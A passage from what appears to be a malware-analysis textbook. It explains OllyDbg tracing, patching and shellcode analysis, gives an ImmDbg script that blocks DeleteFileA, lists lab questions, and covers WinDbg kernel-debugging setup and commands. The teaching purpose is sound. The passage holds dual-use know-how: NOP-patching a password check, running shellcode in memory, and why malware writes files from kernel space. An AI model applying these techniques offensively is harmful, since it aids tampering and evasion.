current location.
To walk the call stack, click the Address or Called From sections of the
Call Stack window. The registers and stack will not show what was going on
when you were at that location, unless you are performing a run trace.
Run Trace
A run trace allows you to execute code and have OllyDbg save every executed
instruction and all changes made to the registers and flags.
There are several ways to activate run tracing:
Highlight the code you wish to trace in the disassembler window, right-
click it, and select Run TraceAdd Selection. After execution of that
code, select ViewRun Trace to see the instructions that were exe-
cuted. Use the and + keys on your keyboard to navigate the code
(as discussed in “Standard Back Trace” on page 192). With this method,
you’ll see the changes that occurred to every register for each instruction
as you navigate.
Use the Trace Into and Trace Over options. These options may be easier
to use than Add Selection, because you don’t need to select the code you
wish to trace. Trace Into will step into and record all instructions that
execute until a breakpoint is hit. Trace Over will record only the instruc-
tions that occur in the current function you are executing.
WARNING
If you use the Trace Into and Trace Over options without setting a breakpoint, OllyDbg
will attempt to trace the entire program, which could take a long time and consume a
lot of memory.
Select DebugSet Condition. You can trace until a condition hits, caus-
ing the program to pause. This is useful when you want to stop tracing
when a condition occurs, and back trace from that location to see how or
why it occurred. You’ll see an example of this usage in the next section.
Tracing Poison Ivy
Recall from our earlier discussion that the Poison Ivy backdoor often allo-
cates memory for shellcode that it receives from its command-and-control
server. Poison Ivy downloads the shellcode, copies it to the dynamically allo-
cated location, and executes it. In some cases, you can use tracing to catch
that shellcode execution when EIP is in the heap. The trace can show you
how the shellcode started.
194
Chapter 9
Figure 9-11 shows the condition we set to catch Poison Ivy’s heap execu-
tion. We set OllyDbg to pause when EIP is less than the typical image location
(0x400000, below which the stack, heap, and other dynamically allocated
memory are typically located in simple programs). EIP should not be in these
locations in a normal program. Next, we select Trace Into, and the entire
program should be traced until the shellcode is about to be executed.
In this case, the program pauses when EIP is 0x142A88, the start of the
shellcode. We can use the - key to navigate backward and see how the shell-
code was executed.
Figure 9-11: Conditional tracing
Exception Handling
By default, when an exception occurs while OllyDbg is attached, the program
stops executing and the debugger is given control first. The debugger can
handle the exception or pass it to the program. OllyDbg will pause execution
when the exception happens, and you can decide to pass the exception to
the program with one of the following:
SHIFT-F7 will step into the exception.
SHIFT-F8 will step over it.
SHIFT-F9 will run the exception handler.
OllyDbg has options for handling exceptions, as shown in Figure 9-12.
These options can tell the debugger to ignore certain exceptions and pass
them directly to the program. (It is often a good idea to ignore all exceptions
during malware analysis, because you are not debugging the program in
order to fix problems.)
OllyDbg
195
Figure 9-12: Exception handling options in OllyDbg
Patching
OllyDbg makes it easy to modify just about any live data, such as registers and
flags. It also enables you to assemble and patch code directly into a program.
You can modify instructions or memory by highlighting a region, right-
clicking that region, and selecting BinaryEdit. This will pop up a window
for you to add any opcodes or data. (OllyDbg also has special functions to fill
with 00 entries, or NOP instructions.)
Figure 9-13 shows a section of code from a password-protected piece of
malware that requires that a special key be input in order to configure the
malware. We see an important check and conditional jump (JNZ) at decide
if the key is accepted. If the jump is taken, Bad key will be printed; otherwise,
it will print Key Accepted!. A simple way to force the program to go the key-
accepted route is to apply a patch. As shown in Figure 9-13, highlight the
conditional jump instruction, right-click, and select BinaryFill with NOPs,
as at . This will change the JNZ instruction to NOPs, and the program will
think that a key has been accepted.
Figure 9-13: Patching options in OllyDbg
Note that the patch is in live memory only for this instance of the pro-
cess. We can take the patching a step further by copying the change out to an
executable. This is a two-step process, as outlined in Figure 9-14.
196
Chapter 9
Figure 9-14: Two-step process for copying a live memory patch to an executable on disk
To apply this change, right-click the disassembler window where you
patched the code and select Copy to ExecutableAll Modifications as shown
at . This will copy all changes you have made in live memory and pop up
a new window, as shown at the bottom of Figure 9-14. Select Save File, as
shown at , to save it to disk.
Notice that Figure 9-14 contains the same code as Figure 9-13, except the
JNZ instruction has been replaced by two NOP instructions. This procedure
would permanently store NOPs at that location in the executable on disk,
meaning that any key will be accepted by the malware permanently. This
technique can be useful when you wish to permanently modify a piece of
malware in order to make it easier to analyze.
Analyzing Shellcode
OllyDbg has an easy (if undocumented) way to analyze shellcode. Follow
these steps to use this approach:
1.
Copy shellcode from a hex editor to the clipboard.
2.
Within the memory map, select a memory region whose type is Priv.
(This is private memory assigned to the process, as opposed to the read-
only executable images that are shared among multiple processes.)
3.
Double-click rows in the memory map to bring up a hex dump so you
can examine the contents. This region should contain a few hundred
bytes of contiguous zero bytes.
4.
Right-click the chosen region in the Memory Map window, and select
Set AccessFull Access to give the region read, write, and execute
permissions.
5.
Return to the memory dump window. Highlight a region of zero-filled
bytes large enough for the entire shellcode to fit, right-click the selec-
tion, and select BinaryBinary Paste. This will paste the shellcode to the
selected region.
6.
Set the EIP register to the location of the memory you modified. (You
can easily set the EIP register by right-clicking an instruction in the dis-
assembler window and selecting New Origin Here.)
OllyDbg
197
Now you can run, debug, and single-step through the shellcode, just as
you would a normal program.
Assistance Features
OllyDbg provides many mechanisms to help with analysis, including the
following:
Logging
OllyDbg keeps a log of events constantly available. To access
them, select ViewLog. This log shows which executable modules were
loaded, which breakpoints were hit, and other information. The log can
be useful during your analysis to figure out which steps you took to get to
a certain state.
Watches window
OllyDbg supports the use of a Watches window, which
allows you to watch the value of an expression that you generate. This
expression is constantly updated in this window, which can be accessed
by selecting ViewWatches. You can set an expression in the Watches
window by pressing the spacebar.
Help
The OllyDbg HelpContents option provides a detailed set of
instructions for writing expressions under Evaluation of Expressions.
This is useful if you need to monitor a specific piece of data or compli-
cated function. For example, if you wanted to monitor the memory loca-
tion of EAX+ESP+4, you would enter the expression [EAX+ESP+4].
Labeling
As with IDA Pro, you can label subroutines and loops in
OllyDbg. A label in OllyDbg is simply a symbolic name that is assigned to
an address of the debugged program. To set a label in the disassembler
window, right-click an address and select Label. This will pop up a win-
dow, prompting you for a label name. All references to this location will
now use this label instead of the address. Figure 9-15 shows an example
of adding the label password_loop. Notice how the name reference at
0x401141 changes to reflect the new name.
Figure 9-15: Setting a label in OllyDbg
Plug-ins
OllyDbg has standard plug-ins and many additional ones available for down-
load. You’ll find a decent collection of OllyDbg plug-ins that are useful for
malware analysis at http://www.openrce.org/downloads/browse/OllyDbg_Plugins.
OllyDbg plug-ins come as DLLs that you place in the root OllyDbg install
directory. Once in that directory, the plug-ins should be recognized automat-
ically and added to the Plugins menu.
198
Chapter 9
NOTE
Writing plug-ins in OllyDbg can be a tedious process. If you wish to extend the func-
tionality of OllyDbg, we recommend writing Python scripts, as described later in the
chapter, in “Scriptable Debugging” on page 200.
OllyDump
OllyDump is the most commonly used OllyDbg plug-in because it provides
the ability to dump a debugged process to a PE file. OllyDump tries to reverse
the process that the loader performed when it loaded the executable; how-
ever, it will use the current state of the various sections (code, data, and so
on) as they exist in memory. (This plug-in is typically used for unpacking,
which we’ll discuss extensively in Chapter 18.)
Figure 9-16 shows the OllyDump window. When dumping, you can man-
ually set the entry point and the offsets of the sections, although we recom-
mend that you let OllyDbg do this for you automatically.
Figure 9-16: OllyDump plug-in window
Hide Debugger
The Hide Debugger plug-in employs a number of methods to hide OllyDbg
from debugger detection. Many malware analysts run this plug-in all the
time, just in case the malware employs anti-debugging.
This plug-in specifically protects against IsDebuggerPresent checks,
FindWindow checks, unhandled exception tricks, and the OuputDebugString
exploit against OllyDbg. (We discuss anti-debugging techniques in
Chapter 16.)
Command Line
The Command Line plug-in allows you to have command-line access to
OllyDbg. The command line can create a WinDbg-like experience, although
not many users of OllyDbg take advantage of it. (The WinDbg debugger is
discussed in the next chapter.)
OllyDbg
199
To activate the command-line window, select PluginsCommand Line
Command Line. Table 9-3 shows the list of common commands. Additional
commands can be found in the help file that comes with the Command Line
plug-in.
When debugging, you will often want to break execution at the start of
an imported function in order to see the parameters being passed to that
function. You can use the command line to quickly set a breakpoint at the
start of an imported function.
In the example in Figure 9-17, we have a piece of malware with strings
obfuscated; however, it has an import of gethostbyname. As shown in the fig-
ure, we execute the command bp gethostbyname at the command line, which
sets a breakpoint at the start of the gethostbyname function. After we set the
breakpoint, we run the program, and it breaks at the start of gethostbyname.
Looking at the parameters, we see the hostname it intends to resolve
(malwareanalysisbook.com in this example).
Figure 9-17: Using the command line to quickly set breakpoints
Bookmarks
The Bookmarks plug-in is included by default in OllyDbg. It enables you to
add bookmarks of memory locations, so that you can get to them easily in the
future without needing to remember the addresses.
Table 9-3: Commands for the OllyDbg Command Line
Command
Function
BP expression [,condition]
Set software breakpoint
BC expression
Remove breakpoint
HW expression
Set hardware breakpoint on execution
BPX label
Set breakpoint on each call to label
STOP or PAUSE
Pause execution
RUN
Run program
G [expression]
Run until address
S
Step into
SO
Step over
D expression
Dump memory
200
Chapter 9
To add a bookmark, right-click in the disassembler window and
select BookmarkInsert Bookmark. To view bookmarks, select Plugins
BookmarksBookmarks, and then click any of your bookmarks to go to
that location.
Scriptable Debugging
Since OllyDbg plug-ins are compiled into DLLs, creating or modifying a
plug-in tends to be an involved process. Therefore, when extending func-
tionality, we employ ImmDbg, which employs Python scripts and has an
easy-to-use API.
ImmDbg’s Python API includes many utilities and functions. For example,
you can integrate your scripts into the debugger as native code in order to
create custom tables, graphs, and interfaces of all sorts. Popular reasons to
write scripts for malware analysis include anti-debugger patching, inline
function hooking, and function parameter logging—many of which can be
found on the Internet.
The most common type of Python script written for ImmDbg is known as
a PyCommand. This is a Python script located in the PyCommands\ directory in
the install location of ImmDbg. After you write a script, you must copy it to
this directory to be able to run it. These Python commands can be executed
from the command bar with a preceding !. For a list of available PyCommands,
enter !list at the command line.
PyCommands have the following structure:
A number of import statements can be used to import Python modules
(as in any Python script). The functionality of ImmDbg itself is accessed
through the immlib or immutils module.
A main function reads the command-line arguments (passed in as a
Python list).
Code implements the actions of the PyCommand.
A return contains a string. Once the script finishes execution, the main
debugger status bar will be updated with this string.
The code in Listing 9-3 shows a simple script implemented as a
PyCommand. This script can be used to prevent malware from deleting
a file from the system.
import immlib
def Patch_DeleteFileA(imm):
delfileAddress = imm.getAddress("kernel32.DeleteFileA")
if (delfileAddress <= 0):
imm.log("No DeleteFile to patch")
return
OllyDbg
201
imm.log("Patching DeleteFileA")
patch = imm.assemble("XOR EAX, EAX \n Ret 4")
imm.writeMemory(delfileAddress, patch)
def main(args):
imm = immlib.Debugger()
Patch_DeleteFileA(imm)
return "DeleteFileA is patched..."
Listing 9-3: PyCommand script to neuter DeleteFile
Malware often calls DeleteFile to remove files from the system before
you can copy them to another location. If you run this script via !scriptname,
it will patch the DeleteFileA function, rendering it useless. The main method
defined at calls Patch_DeleteFileA. This is a function we have defined at
that returns the address of DeleteFileA by calling the ImmDbg API function
getAddress. Once we have that location, we can overwrite the function with
our own code. In this case, we overwrite it with the patch code at . This
code sets EAX to 0 and returns from the DeleteFileA call. This patch will
cause DeleteFile to always fail, thus preventing the malware from being able
to remove files from the system.
For additional information about writing Python scripts, use the Python
command scripts that ImmDbg has built for reference. For further in-depth
commentary on writing Python scripts for ImmDbg, see Gray Hat Python by
Justin Seitz (No Starch Press, 2009).
Conclusion
OllyDbg is the most popular user-mode debugger for malware analysis and
has many features to help you perform dynamic malware analysis. As you’ve
seen, its rich interface provides a lot of information about debugged mal-
ware. For example, the memory map is a great way to see how a program is
laid out in memory and to view all of its memory sections.
Many types of breakpoints in OllyDbg are useful, including conditional
breakpoints, which are used to break on the parameters of function calls or
when a program accesses a particular region of memory. OllyDbg can modify
running binaries in order to force a behavior that may not normally occur,
and you can permanently save modifications made to a binary on disk.
Plug-ins and scriptable debugging can be used to extend the functionality
of OllyDbg to provide benefits beyond its built-in features.
While OllyDbg is the most popular user-mode debugger, the next chap-
ter focuses on the most popular kernel-mode debugger: WinDbg. Since
OllyDbg can’t debug kernel-mode malware such as rootkits and device drivers,
you should become familiar with WinDbg if you want to dynamically analyze
malware of this type.
202
Chapter 9
L A B S
Lab 9-1
Analyze the malware found in the file Lab09-01.exe using OllyDbg and IDA
Pro to answer the following questions. This malware was initially analyzed in
the Chapter 3 labs using basic static and dynamic analysis techniques.
Questions
1.
How can you get this malware to install itself?
2.
What are the command-line options for this program? What is the pass-
word requirement?
3.
How can you use OllyDbg to permanently patch this malware, so that it
doesn’t require the special command-line password?
4.
What are the host-based indicators of this malware?
5.
What are the different actions this malware can be instructed to take via
the network?
6.
Are there any useful network-based signatures for this malware?
Lab 9-2
Analyze the malware found in the file Lab09-02.exe using OllyDbg to answer
the following questions.
Questions
1.
What strings do you see statically in the binary?
2.
What happens when you run this binary?
3.
How can you get this sample to run its malicious payload?
4.
What is happening at 0x00401133?
5.
What arguments are being passed to subroutine 0x00401089?
6.
What domain name does this malware use?
7.
What encoding routine is being used to obfuscate the domain name?
8.
What is the significance of the CreateProcessA call at 0x0040106E?
OllyDbg
203
Lab 9-3
Analyze the malware found in the file Lab09-03.exe using OllyDbg and IDA Pro.
This malware loads three included DLLs (DLL1.dll, DLL2.dll, and DLL3.dll)
that are all built to request the same memory load location. Therefore, when
viewing these DLLs in OllyDbg versus IDA Pro, code may appear at different
memory locations. The purpose of this lab is to make you comfortable with
finding the correct location of code within IDA Pro when you are looking at
code in OllyDbg.
Questions
1.
What DLLs are imported by Lab09-03.exe?
2.
What is the base address requested by DLL1.dll, DLL2.dll, and DLL3.dll?
3.
When you use OllyDbg to debug Lab09-03.exe, what is the assigned based
address for: DLL1.dll, DLL2.dll, and DLL3.dll?
4.
When Lab09-03.exe calls an import function from DLL1.dll, what does
this import function do?
5.
When Lab09-03.exe calls WriteFile, what is the filename it writes to?
6.
When Lab09-03.exe creates a job using NetScheduleJobAdd, where does it get
the data for the second parameter?
7.
While running or debugging the program, you will see that it prints out
three pieces of mystery data. What are the following: DLL 1 mystery
data 1, DLL 2 mystery data 2, and DLL 3 mystery data 3?
8.
How can you load DLL2.dll into IDA Pro so that it matches the load
address used by OllyDbg?
K E R N E L D E B U G G I N G W I T H
W I N D B G
WinDbg (often pronounced “Windbag”) is a free
debugger from Microsoft. While not as popular as
OllyDbg for malware analysis, WinDbg has many
advantages, the most significant of which is kernel
debugging. This chapter explores ways to use WinDbg
for kernel debugging and rootkit analysis.
WinDbg does support user-mode debugging, and much of the informa-
tion in this chapter is applicable to user mode and kernel mode, but we will
focus on kernel mode because most malware analysts use OllyDbg for user-
mode debugging. WinDbg also has useful features for monitoring interac-
tions with Windows, as well as extensive help files.
206
Chapter 10
Drivers and Kernel Code
Before we begin debugging malicious kernel code, you need to understand
how kernel code works, why malware writers use it, and some of the unique
challenges it presents. Windows device drivers, more commonly referred to
simply as drivers, allow third-party developers to run code in the Windows
kernel.
Drivers are difficult to analyze because they load into memory, stay resi-
dent, and respond to requests from applications. This is further complicated
because applications do not directly interact with kernel drivers. Instead,
they access device objects, which send requests to particular devices. Devices
are not necessarily physical hardware components; the driver creates and
destroys devices, which can be accessed from user space.
For example, consider a USB flash drive. A driver on the system handles
USB flash drives, but an application does not make requests directly to that
driver; it makes requests to a specific device object instead. When the user
plugs the USB flash drive into the computer, Windows creates the “F: drive”
device object for that drive. An application can now make requests to the F:
drive, which ultimately will be sent to the driver for USB flash drives. The
same driver might handle requests for a second USB flash drive, but applica-
tions would access it through a different device object such as the G: drive.
In order for this system to work properly, drivers must be loaded into the
kernel, just as DLLs are loaded into processes. When a driver is first loaded,
its DriverEntry procedure is called, similar to DLLMain for DLLs.
Unlike DLLs, which expose functionality through the export table,
drivers must register the address for callback functions, which will be called
when a user-space software component requests a service. The registration
happens in the DriverEntry routine. Windows creates a driver object structure,
which is passed to the DriverEntry routine. The DriverEntry routine is respon-
sible for filling this structure in with its callback functions. The DriverEntry
routine then creates a device that can be accessed from user space, and the
user-space application interacts with the driver by sending requests to that
device.
Consider a read request from a program in user space. This request will
eventually be routed to a driver that manages the hardware that stores the
data to be read. The user-mode application first obtains a file handle to this
device, and then calls ReadFile on that handle. The kernel will process the
ReadFile request, and eventually invoke the driver’s callback function respon-
sible for handling read I/O requests.
The most commonly encountered request for a malicious kernel compo-
nent is DeviceIoControl, which is a generic request from a user-space module
to a device managed by a driver. The user-space program passes an arbitrary
length buffer of data as input and receives an arbitrary length buffer of data
as output.
Calls from a user-mode application to a kernel-mode driver are difficult to
trace because of all the OS code that supports the call. By way of illustration,
Figure 10-1 shows how a request from a user-mode application eventually
Kernel Debugging with WinDbg
207
reaches a kernel-mode driver. Requests originate from a user-mode program
and eventually reach the kernel. Some requests are sent to drivers that con-
trol hardware; others affect only the internal kernel state.
Figure 10-1: How user-mode calls are handled by the kernel
NOTE
Some kernel-mode malware has no significant user-mode component. It creates no
device object, and the kernel-mode driver executes on its own.
Malicious drivers generally do not usually control hardware; instead,
they interact with the main Windows kernel components, ntoskrnl.exe and
hal.dll. The ntoskrnl.exe component has the code for the core OS functions,
and hal.dll has the code for interacting with the main hardware components.
Malware will often import functions from one or both of these files in order
to manipulate the kernel.
Setting Up Kernel Debugging
Debugging in the kernel is more complicated than debugging a user-space
program because when the kernel is being debugged, the OS is frozen, and
it’s impossible to run a debugger. Therefore, the most common way to debug
the kernel is with VMware.
Unlike user-mode debugging, kernel debugging requires a certain
amount of initial setup. You will need to set up the virtual machine to enable
kernel debugging, configure VMware to enable a virtual serial port between
the virtual machine and the host, and configure WinDbg on the host machine.
You will need to set up the virtual machine by editing the normally hid-
den C:\boot.ini file. (Be sure that your folder options are set to show hidden
files.) Before you start editing the boot.ini file, take a snapshot of your virtual
machine. If you make a mistake and corrupt the file, you can revert to the
snapshot.
MaliciousProgram.exe
Kernel32.dll
Ntdll.dll
Ntoskrnl.exe
Kernel Data Structures
Kernel Mode
Hardware
MaliciousDriver.sys
Other Drivers
208
Chapter 10
Listing 10-1 shows a Windows boot.ini with a line added to enable kernel
debugging.
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional with Kernel
Debugging" /noexecute=optin /fastdetect /debug /debugport=COM1 /baudrate=115200
Listing 10-1: Sample boot.ini file modified to enable kernel debugging
The line at specifies the OS to load—Windows XP in this case. The
line at is added to enable kernel debugging. Your version of boot.ini will
likely contain only a line similar to .
Copy the last line of your boot.ini file and add another entry. The
line should be the same except that you should add the options /debug
/debugport=COM1 /baudrate=115200. (Don’t worry about the other elements
on the line such as multi(0)disk(0); simply copy the line exactly and add the
extra options.) The /debug flag enables kernel debugging, the /debugport=COM1
tells the OS which port will connect the debugged machine to the debugging
machine, and the baudrate=115200 specifies the speed of the connection. In
our case, we’ll be using a virtual COM port created by VMware. You should
also change the name of Windows in the second entry so that you can recog-
nize the option later. In our case, we have named the second entry Microsoft
Windows XP Professional with Kernel Debugging.
The next time you boot your virtual machine, you should be given the
option to boot the debugger-enabled version of the OS. The boot loader will
give you 30 seconds to decide whether you want to boot up with debugging
enabled. Each time you boot, you must choose the debugger-enabled version
if you want to be able to connect a kernel debugger.
NOTE
Simply because you start the OS with the debugger enabled does not mean that you are
required to attach a debugger. The OS should run fine without a debugger attached.
Next, we configure VMware to create a virtual connection between the
virtual machine and the host OS. To do so, we’ll use a serial port on a named
pipe on the host by adding a new device. Follow these steps to add a new
device:
1.
Click VMSettings to open the VMWare Settings dialog.
2.
In the Settings dialog, click the Add button on the lower right, and
then select Serial Port in the window containing the types of devices.
3.
In the dialog requesting the type of serial port, select Output to
Named Pipe.
Kernel Debugging with WinDbg
209
4.
At the next window, enter \\.\pipe\com_1 for the name of the socket and
select This end is the server and The other end is an application. Once
you’ve finished adding the serial port, the virtual machine settings
should show a serial port device configured as shown in Figure 10-2.
5.
Check the box labeled Yield CPU on poll.
NOTE
The exact sequence of windows and dialog boxes differs between versions of VMware.
The instructions here are specific to VMware Workstation 7. The settings should be the
same for other versions, but the windows and dialogs to configure the settings will differ
slightly.
Figure 10-2: Adding a serial port to a virtual machine
After you’ve configured the virtual machine, start it. Use the following
steps on the host machine to use WinDbg to connect to the virtual machine
and start debugging the kernel.
1.
Launch WinDbg.
2.
Select FileKernel Debug, click the COM tab, and enter the filename
and baud rate that you set before in the boot.ini file—115200 in our case.
Make sure the Pipe checkbox is checked before selecting OK. Your win-
dow should look like Figure 10-3.
210
Chapter 10
Figure 10-3: Starting a kernel debugging session
with WinDbg
If the virtual machine is running, the debugger should connect within a
few seconds. If it is not running, the debugger will wait until the OS boots,
and then connect during the boot process. Once the debugger connects,
consider enabling verbose output while kernel debugging, so that you’ll get a
more complete picture of what is happening. With verbose output, you will
be notified each time a driver is loaded or unloaded. This can help you iden-
tify a malicious driver in some cases.
Using WinDbg
WinDbg uses a command-line interface for most of its functionality. We will
cover the more important commands here. You can browse the complete list
of commands in the WinDbg Help menu.
Reading from Memory
WinDbg’s memory window supports memory browsing directly from the
command line. The d command is used to read locations in memory such
as program data or the stack, with the following basic syntax:
dx addressToRead
where x is one of several options for how the data will be displayed.
Table 10-1 shows the most common ways that data can be displayed.
Table 10-1: WinDbg Reading Options
Option
Description
da
Reads from memory and displays it as ASCII text
du
Reads from memory and displays it as Unicode text
dd
Reads from memory and displays it as 32-bit double words
Kernel Debugging with WinDbg
211
For example, to display a string at offset 0x401020, you would use the
command da 0x401020.
The e command is used in the same way to change memory values. It
uses the following syntax:
ex addressToWrite dataToWrite
The x values are the same values used by the dx commands. You’ll find
many additional options documented in the help files.
Using Arithmetic Operators
You can perform operations on memory and registers directly from the com-
mand line using simple arithmetic operations, such as addition (+), subtrac-
tion (-), multiplication (*), and division (/). Command-line options are
useful as shortcuts and when trying to create expressions for conditional
breakpoints.
The dwo command is used to dereference a 32-bit pointer and see the
value at that location. For example, if you are at a breakpoint for a function
and the first argument is a wide character string, you can view the string with
this command:
du dwo (esp+4)
The esp+4 is the location of the argument. The dwo operator identifies the
location of the pointer for the string, and du tells WinDbg to display the wide
character string at that location.
Setting Breakpoints
The bp command is used to set basic breakpoints in WinDbg. You can also
specify commands to be run automatically when a breakpoint is hit prior to
control being passed to the user. This is used with the go (g) command, so
that the breakpoint performs an action and then continues without waiting
for the user. For example, the following command will print out the second
argument every time the GetProcAddress function is called without actually
stopping the program’s execution.
bp GetProcAddress "da dwo(esp+8); g"
The example will print the function name being requested for every call
to GetProcAddress. This is a useful feature because the breakpoint will be exe-
cuted much faster than if it returned control to the user and waited for the
user to issue the command. The command string can become fairly sophisti-
cated with support for conditional statements, such as .if statements and
.while loops. WinDbg supports scripts that use these commands.
212
Chapter 10
NOTE
Commands sometimes attempt to access invalid memory locations. For example, the sec-
ond argument to GetProcAddress can be either a string or an ordinal number. If the
argument is an ordinal number, WinDbg will try to dereference an invalid memory
location. Luckily, it won’t crash and will simply print ???? as the value at that
address.
Listing Modules
WinDbg does not have a feature similar to OllyDbg’s memory map that lays
out all the memory segments and loaded modules. Alternatively, WinDbg’s
lm command will list all the modules loaded into a process, including the exe-
cutables and DLLs in user space and the kernel drivers in kernel mode. The
starting address and ending address for each module are listed as well.
Microsoft Symbols
Debugging symbols provide limited information from the source code to
help understand assembly code. The symbols provided by Microsoft contain
names for certain functions and variables.
A symbol in this context is simply a name for a particular memory address.
Most symbols provide a name for addresses that represent functions, but some
provide a name for addresses that represent data addresses. For example,
without symbol information, the function at address 8050f1a2 will not be
labeled. If you have symbol information configured, WinDbg will tell you
that the function is named MmCreateProcessAddressSpace (assuming that was the
name of the function at that address). With just an address, you wouldn’t
know much about a function, but the name tells us that this function creates
address space for a process. You can also use the symbol name to find func-
tions and data in memory.
Searching for Symbols
The format for referring to a symbol in WinDbg is as follows:
moduleName!symbolName
This syntax can be used anywhere that normally has an address. The
moduleName is the name of the .exe, .dll, or .sys file that contains the symbol
without the extension, and the symbolName is the name associated with the
address. However, ntoskrnl.exe is a special case and the module name is
nt, not ntoskrnl. For example, if you want to look at disassembly of the
NtCreateProcess function in ntoskrnl.exe, you would use the disassemble com-
mand u (which stands for unassemble) with the parameter nt!NtCreateProcess.
If you don’t specify a library name, WinDbg will search through all of the
loaded modules for a matching symbol. This can take a long time because
it must load and search symbols for every module.
The bu command allows you to use symbols to set a deferred breakpoint
on code that isn’t yet loaded. A deferred breakpoint is a breakpoint that will be
set when a module is loaded that matches a specified name. For example,
Kernel Debugging with WinDbg
213
the command bu newModule!exportedFunction will instruct WinDbg to set a
breakpoint on exportedFunction as soon as a module is loaded with the name
newModule. When analyzing kernel modules, it is particularly useful to combine
this with the $iment command, which determines the entry point of a given
module. The command bu $iment(driverName) will set a breakpoint on the
entry point of a driver before any of the driver’s code has a chance to run.
The x command allows you to search for functions or symbols using
wildcards. For example, if you’re looking for kernel functions that perform
process creation, you can search for any function within ntoskrnl.exe that
includes the string CreateProcess. The command x nt!*CreateProcess* will
display exported functions as well as internal functions. The following is
the output for x nt!*CreateProcess*.
0:003> x nt!*CreateProcess*
805c736a nt!NtCreateProcessEx =
805c7420 nt!NtCreateProcess =
805c6a8c nt!PspCreateProcess =
804fe144 nt!ZwCreateProcess =
804fe158 nt!ZwCreateProcessEx =
8055a300 nt!PspCreateProcessNotifyRoutineCount =
805c5e0a nt!PsSetCreateProcessNotifyRoutine =
8050f1a2 nt!MmCreateProcessAddressSpace =
8055a2e0 nt!PspCreateProcessNotifyRoutine =
Another useful command is the ln command, which will list the closest
symbol for a given memory address. This can be used to determine to which
function a pointer is directed. For example, let’s say we see a call function to
address 0x805717aa and we want to know the purpose of the code at that
address. We could issue the following command:
0:002> ln 805717aa
kd> ln ntreadfile
(805717aa) nt!NtReadFile | (80571d38) nt!NtReadFileScatter
Exact matches:
nt!NtReadFile =
The first line shows the two closest matches, and the last line shows
the exact match. Only the first line is displayed if there is no exact match.
Viewing Structure Information
The Microsoft symbols also include type information for many structures,
including internal types that are not documented elsewhere. This is useful
for a malware analyst, since malware often manipulates undocumented struc-
tures. Listing 10-2 shows the first few lines of a driver object structure, which
stores information about a kernel driver.
0:000> dt nt!_DRIVER_OBJECT
kd> dt nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
214
Chapter 10
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit : Ptr32 long
+0x030 DriverStartIo : Ptr32 void
+0x034 DriverUnload : Ptr32 void
+0x038 MajorFunction : [28] Ptr32 long
Listing 10-2: Viewing type information for a structure
The structure names hint at what data is stored within the structure. For
example, at offset 0x00c there is a pointer that reveals where the driver is
loaded in memory.
WinDbg allows you to overlay data onto the structure. Let’s say that we
know there is a driver object at offset 828b2648, and we want to show the
structure along with each of the values from a particular driver. Listing 10-3
shows how to accomplish this.
kd> dt nt!_DRIVER_OBJECT 828b2648
+0x000 Type :
4
+0x002 Size :
168
+0x004 DeviceObject :
0x828b0a30 _DEVICE_OBJECT
+0x008 Flags :
0x12
+0x00c DriverStart :
0xf7adb000
+0x010 DriverSize :
0x1080
+0x014 DriverSection :
0x82ad8d78
+0x018 DriverExtension :
0x828b26f0 _DRIVER_EXTENSION
+0x01c DriverName :
_UNICODE_STRING "\Driver\Beep"
+0x024 HardwareDatabase :
0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\
HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch :
(null)
+0x02c DriverInit : 0xf7adb66c
long Beep!DriverEntry+0
+0x030 DriverStartIo :
0xf7adb51a void Beep!BeepStartIo+0
+0x034 DriverUnload :
0xf7adb620 void Beep!BeepUnload+0
+0x038 MajorFunction :
[28] 0xf7adb46a long Beep!BeepOpen+0
Listing 10-3: Overlaying data onto a structure
This is the beep driver, which is built into Windows to make a beeping
noise when something is wrong. We can see that the initialization function
that is called when the driver is loaded is located at offset 0xf7adb66c . If this
were a malicious driver, we would want to see what code was located at that
address because that code is always called first when the driver is loaded. The
initialization function is the only function called every time a driver is loaded.
Malware will sometimes place its entire malicious payload in this function.
Kernel Debugging with WinDbg
215
Configuring Windows Symbols
Symbols are specific to the version of the files being analyzed, and can change
with every update or hotfix. When configured properly, WinDbg will query
Microsoft’s server and automatically get the correct symbols for the files that
are currently being debugged. You can set the symbol file path by selecting
FileSymbol File Path. To configure WinDbg to use the online symbol
server, enter the following path:
SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols
The SRV configures a server, the path c:\websymbols is a local cache for sym-
bol information, and the URL is the fixed location of the Microsoft symbol
server.
If you’re debugging on a machine that is not continuously connected to
the Internet, you can manually download the symbols from Microsoft. Down-
load the symbols specific to the OS, service pack, and architecture that you
are using. The symbol files are usually a couple hundred megabytes because
they contain the symbol information for all the different hotfix and patch
versions for that OS and service pack.
Kernel Debugging in Practice
In this section, we’ll examine a program that writes to files from kernel
space. For malware authors, the benefit of writing to files from kernel space
is that it is more difficult to detect. This isn’t the stealthiest way to write to a
file, but it will get past certain security products, and can mislead malware
analysts who are looking for telltale calls in the user space to CreateFile or
WriteFile functions. The normal Win32 functions are not easily accessible
from kernel mode, which presents a challenge for malware authors, but
there are similar functions that are used regularly in malware written from
the kernel. Since the CreateFile and WriteFile functions are not available
in the kernel mode, the NtCreateFile and NtWriteFile functions are used
instead.
Looking at the User-Space Code
In our example, a user-space component creates a driver that will read and
write the files in the kernel. First we look at our user-space code in IDA Pro
to investigate what functions it calls to interact with a driver as shown in
Listing 10-4.
04001B3D push esi ; lpPassword
04001B3E push esi ; lpServiceStartName
04001B3F push esi ; lpDependencies
04001B40 push esi ; lpdwTagId
04001B41 push esi ; lpLoadOrderGroup
216
Chapter 10
04001B42 push [ebp+lpBinaryPathName] ; lpBinaryPathName
04001B45 push 1 ; dwErrorControl
04001B47 push 3 ; dwStartType
